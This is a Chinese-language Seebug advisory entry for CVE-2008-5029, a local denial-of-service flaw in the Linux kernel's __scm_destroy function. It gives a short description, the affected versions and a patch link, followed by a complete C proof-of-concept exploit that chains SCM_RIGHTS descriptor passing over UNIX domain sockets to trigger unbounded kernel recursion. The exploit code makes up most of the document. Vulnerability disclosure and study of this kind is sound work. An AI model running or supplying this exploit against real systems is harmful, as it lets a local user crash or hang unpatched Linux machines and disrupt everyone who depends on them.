Linux Kernel __scm_destroy()本地拒绝服务漏洞

2008-11-12T00:00:00
ID SSV:4428
Type seebug
Reporter Root
Modified 2008-11-12T00:00:00

Description

BUGTRAQ ID: 32154 CVE(CAN) ID: CVE-2008-5029

Linux Kernel是开放源码操作系统Linux所使用的内核。

Linux Kernel的net/core/scm.c文件中的__scm_destroy函数可能通过调用fput函数间接地递归调用其本身,本地攻击者可以通过UNIX域套接字发送SCM_RIGHTS消息并关闭文件描述符导致拒绝服务的情况。

Linux kernel 2.6.27.4 Linux kernel 2.6.26 Linux


目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

<a href=https://bugzilla.redhat.com/attachment.cgi?id=322702 target=_blank>https://bugzilla.redhat.com/attachment.cgi?id=322702</a>

                                        
                                            
                                                #include &lt;sys/socket.h&gt;
#include &lt;sys/un.h&gt;
#include &lt;unistd.h&gt;
#include &lt;assert.h&gt;
#include &lt;err.h&gt;
#include &lt;stdlib.h&gt;

static int own_child(int *us)
{
        int pid;
        int s[2];
        struct msghdr mh;
        char crap[1024];
        struct iovec iov;
        struct cmsghdr *c;
        int *fd;
        int rc;

        pid = fork();
        if (pid == -1)
                err(1, &quot;fork()&quot;);

        if (pid) {
              close(us[1]);

                return pid;
        }

        close(us[0]);

        memset(&amp;mh, 0, sizeof(mh));
        iov.iov_base = &quot;a&quot;;
        iov.iov_len  = 1;

        mh.msg_iov        = &amp;iov;
        mh.msg_iovlen     = 1;
        mh.msg_control    = crap;
        mh.msg_controllen = sizeof(crap);

        c = CMSG_FIRSTHDR(&amp;mh);
        assert(c);

        c-&gt;cmsg_level = SOL_SOCKET;
        c-&gt;cmsg_type  = SCM_RIGHTS;

        fd = (int*) CMSG_DATA(c);
        assert(fd);

        c-&gt;cmsg_len = CMSG_LEN(sizeof(int));
        mh.msg_controllen = c-&gt;cmsg_len;

        while (1) {
                if (socketpair(PF_UNIX, SOCK_STREAM, 0, s) == -1)
                        err(1, &quot;socketpair()&quot;);

                *fd = s[0];

                rc = sendmsg(us[1], &amp;mh, 0);
                if (rc == -1)
                        err(1, &quot;sendmsg()&quot;);

                if (rc != iov.iov_len)
                        errx(1, &quot;sent short&quot;);

                close(s[0]);
                close(us[1]);
                us[1] = s[1];
        }
}

static void own(void)
{       
        static int pid;
        static int us[2];
        char crap[1024];
        char morte[1024];
        struct cmsghdr *c;
        int rc;
        struct msghdr mh;
        struct iovec iov;
        int *fds;

        if (!pid) {
                if (socketpair(PF_UNIX, SOCK_STREAM, 0, us) == -1)
                        err(1, &quot;socketpair()&quot;);
                pid = own_child(us);
        }

        iov.iov_base = morte;
        iov.iov_len  = sizeof(morte);

        memset(&amp;mh, 0, sizeof(mh));
        mh.msg_iov        = &amp;iov;
        mh.msg_iovlen     = 1;
        mh.msg_control    = crap;
        mh.msg_controllen = sizeof(crap);

        rc = recvmsg(us[0], &amp;mh, 0);
        if (rc == -1)
                err(1, &quot;recvmsg()&quot;);

        if (rc == 0)
                errx(1, &quot;EOF&quot;);

        c = CMSG_FIRSTHDR(&amp;mh);
        assert(c);
        assert(c-&gt;cmsg_type == SCM_RIGHTS);

        fds = (int*) CMSG_DATA(c);
        assert(fds);

        close(us[0]);
        us[0] = *fds;
}

int main(int argc, char *argv[])
{
	own();
	exit(0);
}